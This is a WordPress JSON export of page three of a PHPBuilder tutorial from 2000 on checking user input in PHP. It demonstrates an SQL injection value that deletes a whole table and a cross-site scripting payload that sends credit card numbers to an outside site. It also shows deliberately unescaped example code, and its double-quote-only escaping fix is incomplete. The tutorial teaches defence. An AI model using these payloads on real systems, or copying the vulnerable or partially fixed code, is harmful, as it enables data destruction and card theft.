{"id":1433,"date":"2018-01-19T19:22:50","date_gmt":"2018-01-19T19:22:50","guid":{"rendered":"http:\/\/goofy-trucks.flywheelsites.com\/check-data-page-3\/"},"modified":"2018-01-19T19:24:47","modified_gmt":"2018-01-19T19:24:47","slug":"check-data-page-3","status":"publish","type":"post","link":"https:\/\/phpbuilder.com\/check-data-page-3\/","title":{"rendered":"Check Data Page 3"},"content":{"rendered":"<div class=\"phpbuilder-content\">\n<div class=\"phpbuilder-meta\">\n<div class=\"\">By Spencer P<\/div>\n<div class=\"\">on November 3, 2000<\/div>\n<\/p><\/div>\n<div id=\"overflow-content\">\n<h2>Manipulating Your Input<\/h2>\n<div class=\"articlePara\">\nThis is a more subtle problem for those who may not fully understand<br \/>\nevery detail of what they are doing.  Good data manipulation is a matter<br \/>\nof watching what you do <i>and<\/i> how you do it, because this is where<br \/>\nhackers and crackers can have a field day.<\/div>\n<div class=\"articlePara\">\nIn our original function, there is a statement:<\/div>\n<div class=\"articlePhpEx\">\n<font face=\"courier\"><code><span style=\"color: #000000\"><\/p>\n<p><span style=\"color: #0000BB\">&lt;?php<\/p>\n<p>OCIPrepare<\/span><span style=\"color: #007700\">(<\/span><span style=\"color: #0000BB\">$dbh<\/span><span style=\"color: #007700\">,<\/span><span style=\"color: #DD0000\">\"<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0Insert\u00a0into\u00a0addressBook<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0(firstName,lastName,streetAddress,city,zip)<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0values<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0('$firstName','$lastName','$streetAddress','$city','$zip')\"<\/span><span style=\"color: #007700\">);<\/p>\n<p><\/span><span style=\"color: #0000BB\">?&gt;<br \/>\n<br \/><\/span><br \/>\n<\/span><br \/>\n<\/code><\/font><\/div>\n<div class=\"articlePara\">\nBob O&#8217;Connor is a candidate to have his address saved in our table<br \/>\naddress book.  The string in which the SQL is parsed now contains &#8220;&#8230;<br \/>\n(&#8216;Bob&#8217;,&#8217;O&#8217;Connor&#8217;, &#8230;.&#8221;   You may see the error now.  That single quote in<br \/>\n&#8220;O&#8217;Connor&#8221; needs to be escaped.  The oracle way is to turn &#8220;O&#8217;Connor&#8221;<br \/>\ninto &#8220;O&#8221;Connor&#8221;, by replacing all single apostrophes with two<br \/>\napostrophes.<\/div>\n<div class=\"articlePara\">\nBob O&#8217;Connor probably doesn&#8217;t care how you deal with this situation,<br \/>\nbut let&#8217;s think about the hacker and\/or cracker who will love you for a<br \/>\nstatement like:<\/div>\n<div class=\"example\">\n<p>delete from addressBook where lastName=$lastname\n<\/p><\/div>\n<div class=\"articlePara\">\nWhat if $lastname=&#8221;&#8221; or 1&#8243;?  Now our statement looks like:<\/div>\n<div class=\"example\">\ndelete from addressBook where lastName=&#8221; or 1\n<\/div>\n<div class=\"articlePara\">\nEverything out of your address book has now successfully been deleted.  It is now time to<br \/>\nbreak out the 40gig backup tapes.<\/div>\n<div class=\"articlePara\">\nJust because one language (like PHP) can take your input without a<br \/>\nproblem, don&#8217;t assume that another language (like SQL) will happily accept the same<br \/>\ninput.  This is not a matter of coding for what you want to<br \/>\nhappen:  it is a matter of coding for what you don&#8217;t want to happen.<br \/>\nEscape your characters if you are using more than one language interpreter.<br \/>\nIf you are using PHP to evaluate dynamic PHP via eval(), don&#8217;t assume<br \/>\nthat the variables you use to construct the dynamic PHP will be<br \/>\nsane. <\/div>\n<div class=\"articlePara\">\nOne more example.  Here&#8217;s a simple piece of HTML and PHP which does<br \/>\nsomething neat.<\/div>\n<div class=\"articlePhpEx\">\n<font face=\"courier\"><code><span style=\"color: #000000\"><br \/>\n<span style=\"color: #0000BB\">&lt;?php<\/p>\n<p><\/span><span style=\"color: #007700\">if(<\/span><span style=\"color: #0000BB\">$CC<\/span><span style=\"color: #007700\">)\u00a0{<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"color: #0000BB\">save<\/span><span style=\"color: #007700\">(<\/span><span style=\"color: #0000BB\">$CC<\/span><span style=\"color: #007700\">);<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"color: #0000BB\">header<\/span><span style=\"color: #007700\">(<\/span><span style=\"color: #DD0000\">\"Location:\u00a0&lt;https:\/\/www.mystore.com\/my.php&gt;\"<\/span><span style=\"color: #007700\">);<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0exit();<br \/>\n<br \/>}<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<br \/>\n<br \/><\/span><span style=\"color: #0000BB\">?&gt;<br \/>\n<br \/><\/span><br \/>\n<\/span><br \/>\n<\/code><\/font><\/div>\n<div class=\"example\">\n<pre>\n&lt;form method=\"post\" action=\"my.php\"&gt;\nInput your CC number to pay for your purchase.&lt;br&gt;\n&lt;input type=\"text\" name=\"CC\" value=\"&lt;?php echo $CC; ?&gt;\"&gt;&lt;br&gt;\n&lt;input type=\"submit\" value=\"Show me the money!\"&gt;\n&lt;\/form&gt;\n<\/pre>\n<\/div>\n<div class=\"articlePara\">\nA piece of code to save your credit card number, but with one faux pas:<br \/>\nI didn&#8217;t check to be sure $CC is valid before trying to save!  But<br \/>\nsave($CC) should check to make sure it&#8217;s getting valid input, as well.<br \/>\nLet&#8217;s assume the spec for save($CC) is: if the $CC is valid, it is saved;<br \/>\nelse, an error is returned.  So let&#8217;s change our code to correspond<br \/>\nwith that spec.<\/div>\n<div class=\"articlePhpEx\">\n<font face=\"courier\"><code><span style=\"color: #000000\"><\/p>\n<p><span style=\"color: #0000BB\">&lt;?php<\/p>\n<p><\/span><span style=\"color: #007700\">if(<\/span><span style=\"color: #0000BB\">save<\/span><span style=\"color: #007700\">(<\/span><span style=\"color: #0000BB\">$CC<\/span><span style=\"color: #007700\">))\u00a0{<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"color: #0000BB\">header<\/span><span style=\"color: #007700\">(<\/span><span style=\"color: #DD0000\">\"Location:\u00a0....\"<\/span><span style=\"color: #007700\">);<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0exit;<br \/>\n<br \/>}<br \/>\n<br \/>\u00a0\u00a0\u00a0\u00a0<br \/>\n<br \/><\/span><span style=\"color: #0000BB\">?&gt;<br \/>\n<br \/><\/span><br \/>\n<\/span><br \/>\n<\/code><\/font><\/div>\n<div class=\"articlePara\">\nSo now if $CC is invalid, our little input tag does something cool.  It<br \/>\nlets the user see and correct his mistake! <\/div>\n<div class=\"example\">\n&lt;input type=&#8221;text&#8221; name=&#8221;CC&#8221; value=&#8221;&lt;?php echo $CC; ?&gt;&#8221;&gt;<\/div>\n<div class=\"articlePara\">\nRemember what I said about coding in one language to output to another?<br \/>\nThis example is vulnerable to cross-site scripting.   (This is when you<br \/>\ninput your own script code as input to another program and the result<br \/>\nreturned is a page that now does something else &#8212; something the<br \/>\nprogrammer never intended.)  A hacker\/cracker might input the following for<br \/>\n$CC&#8230;watch the exact characters used:<\/div>\n<div class=\"example\">\n<pre>\n\"&gt;&lt;\/form&gt;&lt;form action=&lt;http:\/\/www.mycompetitor.com\/haha.cgi&gt;&gt;\nInput your CC again for validation purposes: \n&lt;input name=\"CC\"&gt;&lt;input type=submit&gt;&lt;\/form&gt;&lt;!-\n<\/pre>\n<\/div>\n<div class=\"articlePara\">\nDon&#8217;t worry how the person managed to fit all of this into our<br \/>\nprogram.  Now our web page will look like this after PHP gets to it:<\/div>\n<div class=\"example\">\n<pre>\n&lt;form method=\"post\" action=\"my.php\"&gt;\nInput your CC number to pay for your purchase.\n&lt;input type=\"text\" name=\"CC\" value=\"\"&gt;&lt;\/form&gt;&lt;form \naction=&lt;http:\/\/www.mycompetitor.com\/haha.cgi&gt;&gt;Input your CC again for validation \npurposes: &lt;input name=\"CC\"&gt;&lt;input type=submit&gt;&lt;\/form&gt;&lt;!-\"&gt;\n&lt;input type=\"submit\" value=\"Show me the money!\"&gt;\n&lt;\/form&gt;\n<\/pre>\n<\/div>\n<div class=\"articlePara\">\nThis is a very simple hack and slash example, but our page will now<br \/>\nhave two input fields.  The first goes nowhere since the submit button<br \/>\nisn&#8217;t within the &lt;form&gt;&lt;\/form&gt; tags. The second sends the credit card<br \/>\nnumber to another site!  The rest of the HTML is blanked out after the<br \/>\nsecond closing form tag.  A quick and nasty hack, eh?  We can beautify this<br \/>\nfurther, but the point here is to show that you should never trust your input.  HTML<br \/>\nis taking input from PHP.<\/div>\n<div class=\"articlePara\">\nHow to prevent this?  A line before or during printing:<\/div>\n<div class=\"articlePhpEx\">\n<font face=\"courier\"><code><span style=\"color: #000000\"><\/p>\n<p><span style=\"color: #0000BB\">&lt;?php<\/p>\n<p>$CC<\/span><span style=\"color: #007700\">=<\/span><span style=\"color: #0000BB\">ereg_replace<\/span><span style=\"color: #007700\">(<\/span><span style=\"color: #DD0000\">\"\"\"<\/span><span style=\"color: #007700\">,<\/span><span style=\"color: #DD0000\">\"&amp;quot;\"<\/span><span style=\"color: #007700\">,<\/span><span style=\"color: #0000BB\">$CC<\/span><span style=\"color: #007700\">);<\/p>\n<p><\/span><span style=\"color: #0000BB\">?&gt;<br \/>\n<br \/><\/span><br \/>\n<\/span><br \/>\n<\/code><\/font><\/div>\n<div class=\"articlePara\">\nNow if some evil person tries the above malicious code, or even a<br \/>\nsimple:<\/div>\n<div class=\"example\">\n<p>&#8220;&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;DIE!\n<\/p><\/div>\n<div class=\"articlePara\">\nThis will output:<\/div>\n<div class=\"example\">\n<pre>\n&lt;form method=\"post\" action=\"my.php\"&gt;\nInput your CC number to pay for your purchase.\n&lt;input type=\"text\" name=\"CC\" value=\"\"&gt;&lt;input \ntype=\"submit\" value=\"DIE!\"&gt;\n&lt;input type=\"submit\" value=\"Show me the money!\"&gt;\n&lt;\/form&gt;\n<\/pre>\n<\/div>\n<div class=\"articlePara\">\nAnnoying to anyone who views it?  Yes.  Dangerous to your customers?<br \/>\nDefinitely not.  The value in the input field is practically garbage.  In<br \/>\nfact, you might get a phone call about someone at haha@malicious.com<br \/>\n&lt;\/ym\/Compose?To=haha@malicious.com&amp;YY=7178&amp;order=down&amp;sort=date&amp;pos=0&gt;<br \/>\nsending you such things.  What you do to Mr. &#8220;haha&#8221; is entirely up to<br \/>\nyou.<\/div>\n<\/div>\n<p><\/p>\n<div style=\"float: left; padding:15px; color:#17AAF3\">\n<div style=\"float:left; padding:2px;\"><a class=\"paginationPageLink\" href=\"sporty200011024658.html?page=2\">\u00ab Previous Page<\/a><\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"sporty20001102.html\">1<\/a> <\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"sporty200011024658.html?page=2\">2<\/a> <\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"background-color:#B6E5FC; font-size:16px; margin-top:1px; padding:1px 4px 1px 4px; color:#000; font-style:bold; float:left;\">3<\/div>\n<div style=\"float:left; font-size:16px; color:#FF7A22; padding:2px 2px 2px 2px; \">| <\/div>\n<div style=\"float:left; padding:2px 4px 2px 4px;\"><a class=\"pageNumber\" href=\"sporty20001102fdb0.html?page=4\">4<\/a> <\/div>\n<div style=\"float:left; padding:2px;\"><a class=\"paginationPageLink\" href=\"sporty20001102fdb0.html?page=4\">Next Page \u00bb<\/a><\/div>\n<\/div><\/div>\n","protected":false},"excerpt":{"rendered":"<p>By Spencer P on November 3, 2000 Manipulating Your Input This is a more subtle problem for those who may not fully understand every detail of what they are doing. Good data manipulation is a matter of watching what you do and how you do it, because this is where&#8230; <a href=\"https:\/\/phpbuilder.com\/check-data-page-3\/\" class=\"readmore\"><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1433","post","type-post","status-publish","format-standard","hentry","category-tutorials"],"_links":{"self":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts\/1433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/comments?post=1433"}],"version-history":[{"count":1,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts\/1433\/revisions"}],"predecessor-version":[{"id":3291,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/posts\/1433\/revisions\/3291"}],"wp:attachment":[{"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/media?parent=1433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/categories?post=1433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/phpbuilder.com\/wp-json\/wp\/v2\/tags?post=1433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}